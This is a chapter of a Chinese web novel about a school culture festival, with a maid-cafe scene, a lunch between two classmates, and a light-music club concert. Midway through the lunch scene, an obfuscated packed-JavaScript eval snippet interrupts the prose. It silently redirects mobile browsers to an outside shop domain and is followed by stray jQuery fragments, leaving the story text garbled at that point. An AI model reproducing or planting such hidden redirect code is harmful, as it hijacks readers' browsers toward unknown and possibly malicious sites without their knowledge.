宇太郎的生活恢复了平静。
上课,锻炼,部活,还有晚上和铃造一起学习。
偶尔接几个神田帮的任务,和干部们开个会了解近况,免得拓郎回来之后焦头烂额。
他很满意这样的生活。
一晃到了十月。
文化祭前。
高二A班投票决定班级活动主推女仆咖啡厅。
不管男生还是女生,通通穿上女仆装。
铃造家的女仆应了主人家的要求改制出两套制服。
文化祭当天,轻音众人起了个大早,聚在活动室提前调试演出设备。
“前辈,好适合女仆装......”微妙地打量着自家社团的鼓手,岩井绘里奈感到一阵恶寒。
近藤彰的脸颊不太明显地抽了抽。
宇太郎往下扯了扯裙摆,有些无措地看了一眼身旁偷笑的铃造。
铃造爱理同样穿着女仆装,和大众的短款不同,铃造身上的黑白裙装不仅裙长垂到脚踝,袖子布料也是一丝不苟地蔓延到腕线处,纤细的脖颈被棉制装饰包裹的紧紧的,全身上下除了脸没有露出一丝皮肤。
“铃造同学这身衣服也很漂亮呢。”平田部长围着变装后的两人转了一圈,虽然嘴上夸着铃造,眼睛却不受控制地瞟向一边的女仆装男孩。
身穿吊带背心女仆短裙的一米九大汉我妻宇太郎。
他捂着嘴巴,掌心盖住自己快要力竭的嘴角,憋了又憋,咳嗽了两声才正眼看向宇太郎,粗声道:“你这身也不错嘛,我妻同学。”
木制的社团大门被“唰”地推开,刚赶到轻音活动室的川口真人一边挠头一边抬眼:“不好意思啊我起晚——”
“喔。”川口盯着自己社团的鼓手,撅起嘴巴吹了个口哨,“很大胆嘛。”
“噗哈哈哈哈哈。”
平田绷不住了,弯腰笑地不行。
轻音活动室里弥漫着快活的气息。
上午九点,筑高校门大开,迎接来客。
银杏树的叶片黄绿相间,细簌阳光从层层叠叠的树叶里漏下,洒在熙攘人群的脸上形成光斑跳跃其中。
西村纪子收到了A班的传单,决定和朋友们光顾一番。
时间还早,特意布置过的教室装饰优美,角落的音响放着舒缓的纯音乐,穿着可爱黑白制服群的A班学生们松散地四散闲聊。
有的透过窗户好奇地看向楼下的热闹,有的尽职擦拭桌椅,有的在临时搭建的吧台准备甜品和饮料。
西村一行人是A班开业后招待的第一波客人。
“感觉有点微妙呢。”西村心想。
她看着桌边抱着餐盘等待客人点餐完毕的崛内美娜,抬眼一再扫视过女仆打扮的崛内的脸,直到对方终于维持不住营业微笑开口询问。
“是西村同学没错吧?”崛内美娜被看的很不自在,嘴角抿了又抿忍不住问道,“我的脸上有什么东西吗,您似乎一直在看我呢。”
“不,没有。”西村脸色一红,其实她只是太好奇A班向来高傲的这些人扮成女仆是什么样子,被人戳穿后连忙找补,“崛内同学的服饰很漂亮,忍不住多看几眼,是我失礼了。”
“这样啊,你、您今天的妆容也很可爱。”崛内美娜一边写下其他几人点单的甜品,一边回应。
想到班里大部分人恶趣味投稿被敲定的几项规则,崛内轻咳一声,强忍羞耻说:“其他几位主人已经选好菜品了,您还没有点单,要喝点什么吗?”
方桌上落座的其他几人听见“主人”都瞪大了眼睛。
西村张了张嘴巴,不可置信地看着她。
崛内美娜深吸一口气,反正已经说出口了,所幸破罐破摔地挤出一个用力的笑脸,扬声重复道:“主人,请问您要喝点什么?”
“噢,噢。原味拿铁就好,加冰五分糖,谢谢。”西村和朋友们面面相觑。
崛内红着耳朵离开了。
“不愧是A班。”朋友呢喃着吐槽。
西村纪子深以为然。
很快,另一名同学端着托盘把成品奉上。
“啪嗒,啪嗒。”瓷杯被稳稳放在桌面上,发出细微的声响。
眼前的女仆穿着中规中矩地黑白裙装,头戴蝴蝶结发带,身材高大,面色坦然。
藤井澪把托盘夹在小臂内,右手扶了扶眼睛,对几位同学招呼说:“主人们请慢用。”
说罢,他稳健地转身,走近新进门的几位客人。
看着那人裸露的小腿上均匀饱满的肌肉群,西村纪子被咖啡呛了一口。
高二A班的班长任劳任怨地扮演女仆,同班的同学们热火朝天地接待起源源不断的客人。
宇太郎和铃造十点之后就回到教室帮忙,一上午过去,交接的同学接替了他手上的工作。
午饭时间二人决定一起去其他教室找点食物填饱肚子。
“听说高一A班在做炒面呢。”铃造爱理卷起袖子,离开教室的空调后,她稍微有点热出汗。
宇太郎的马甲裙里面有棉背心和速干短裤打底,稍微穿了一段时间后就习惯了身上的装扮。
他走快两步,贴着走廊的窗户出,用身体给铃造遮住阳光直射,附和道:“要去尝尝吗?”
铃造没有过多犹豫,拒绝道:“不,还是算了,去学校附近的餐厅吧,吃完还能休息一会。”
宇太郎说好。
中午太阳太燥,筑高的人行道上搭起大大小小的遮阳棚,人流量也变少了,几乎都躲在室内或者伞下乘凉。
二人抵达熟悉的餐厅,在惯常的位置落座。
铃造拿着菜单纠结了一会,低着头报出几个菜名,询问地看向宇太郎:“...和牛薄烧、茶碗蒸,先这些吧,昆布汤的话,我妻同学想不想喝?”
宇太郎说:“加上吧。”
铃造于是点头,和桌边随侍的服务生交代菜品。
这家店他们常来,有时候部活结束肚子饿了,就会来这边吃点东西。
二人习惯了和彼此一起安静又温馨地用餐。
宇太郎撑着下巴望着对座的人发呆。
铃造爱理的体力其实很差,只是她的体态和表情看起来永远游刃有余,尝尝叫人忽视她的辛苦。
可能是容易疲劳的原因,铃造对食物却一直都很珍惜。
长卷发的少女专心地吃饭,鬓角汗湿的发丝黏在脸上,被她不甚在意地捋到耳后。
吃到喜欢的菜色,她会眯起眼睛,细细品味。
嘴唇被油光浸润,吞咽食物的间隙,细细的喉咙隆起又滚落,一口完毕,她会伸出一截舌尖舔掉嘴角的料汁,隐秘且迅速。
她吃饭很香,几乎不挑食,连她自己都没发现,上菜的时候她会坐直身体,视线追逐着食物,像个简单的孩子。
宇太郎享受着对她的观察,尤其是在现在——
铃造爱理撞进他的视线,嘴里还在咀嚼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631171|206349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
食物,眼睛却大大方方地露出笑意,不紧不慢吃完这口饭,自然地问他:“我妻同学,你已经吃饱了吗?”
简直,
宇太郎露出一个笑,嘴上回应她的话,脑中却喜悦地想,
简直就是在默许自己的注视。
想到这,宇太郎眼睫微动,试探地说:“铃造同学今天的装扮很可爱。”
“是吧,这是小仓小姐特意为我定制的,既漂亮又舒服,就是今天穿上稍微有点热。”她把食指搭在衣领上,勾出一个空隙,抬高了下巴透气。
“晚上表演的时候会降温,但是现在太热的话可以换下来,如果铃造同学没有备用的衣服,我有两套干净的运动服可以给你穿。”
“忍忍就好了,这是小仓小姐的心意,我打算晚上表演的时候也穿着,不过还是谢谢你,我妻同学。”她快吃饱了,放下手里的餐具。
“铃造同学很喜欢这身衣服。”
“当然,你不喜欢吗?”她拿起纸巾擦拭嘴角,狡黠地抬起眼皮,故意隐去宾语。
“......喜欢。”宇太郎低下头,轻声呢喃——
“我很喜欢。”
“差不多吃好了,我们回去吧?”铃造爱理起身,拍了拍自己的裙摆,若无其事地问。
宇太郎闭了闭眼。
他顺从地起身,像之前做过的无数次,走近两步,紧紧跟在她身后。
天色渐暗。
人群涌入大礼堂,晚间的表演揭开帷幕。
观众们抚掌贴耳,喝彩欣赏。
水晶灯柔和的光芒铺散,衣着光鲜的主持人举着话筒,满怀笑容地报出下一个节目名。
轻音登场。
穿着或黑或白整套西装的男生们踏上舞台,宇太郎为铃造提起拖尾裙摆,这是小仓考虑到衣服的表演属性,另外设计出的装饰物之一。
岩井很重视这次表演,精心挑选了一条纯白的贴身鱼尾裙,还穿上平日从不上脚的细高跟水晶鞋,她一手捏起大腿上的顺滑布料,一手搭着近藤的手,二人最后上台。
台下有人期待地欢呼出声。
宇太郎举起鼓棒,平静地敲响预备拍。
悦耳的音乐声如流水倾泻。
平田没有背上吉他,而是握着麦克风的立杆站在中央。
这次表演,除了《终焉》,关于另一首曲目的选择,他思考过后,决定用岩井绘里奈创作的新曲。
一首极度炫技的高难度原创曲。
岩井绘里奈眼神沉静,死死抿着嘴唇。她的手指灵活地拨动贝斯,左手小臂大开大合地沿着琴颈上下定位,按弦滑动的同时高频揉弄,节奏肆无忌惮地越走越高,愈演愈烈。
高昂的吉他激烈地嘶鸣,近藤和川口稳稳扣住节拍,与岩井一起,鲜花着锦,烈火烹油。
平田嘴角一咧,满意地看到台下观众脸上一再刷新的惊讶表情。
歌曲的复杂度还在叠加。
铃造爱理手腕横移,细细密密地敲出雨滴,悄无声息地融入这场盛宴。
宇太郎转镲为底鼓,默默为人声托底。
台上五名乐者,一名歌者,硬生生给数以千计的观众打造出一个疯狂又畅快的幻境。
主唱声嘶力竭地唱着正能量的歌词,给人带来一种奇异的动容感。
有人捂嘴,有人屏息。
有人录下视频,再一次上传,标题写着,《筑高轻音,又一次封神的文化祭》。